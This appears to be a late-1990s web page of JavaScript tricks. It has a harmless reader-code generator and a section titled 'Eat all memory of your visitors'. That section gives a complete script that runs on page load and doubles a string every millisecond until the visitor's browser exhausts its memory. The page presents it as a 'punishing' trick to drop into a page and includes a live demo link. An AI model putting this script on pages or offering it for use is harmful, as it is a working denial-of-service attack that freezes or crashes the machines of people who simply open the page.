(Autumn 1998)

createTimeStampForReader

(Spring 1999)

Assigning a different code to each reader. The "special" code depends from date and time.
Click anywhere outside the input field after having written something on the left window below and you'll see your code appear on the right window.

< your input ~ click here ~ CodeOfReader >

This can be used with <input type="hidden"> to assign a special code (for email verification purposes) when users fill a form or access a javascript protected page.

Eat all memory of your visitors

(Sommer 1999)

A 'punishing' trick. Just put the following script on a page with onload="FraviaMemoryFresser()" in the body line, and you are done...

<script language="JavaScript">
<!--
var fvFraviaMemoryFresser="FRAVIAFRAVIA"
function FraviaMemoryFresser()
{fvFraviaMemoryFresser=fvFraviaMemoryFresser + fvFraviaMemoryFresser
window.status="String Length is: "+fvFraviaMemoryFresser.length
window.setTimeout('FraviaMemoryFresser()',1);}
// -->
</script>

Of course you may try it right now: Click here and watch the status bar!
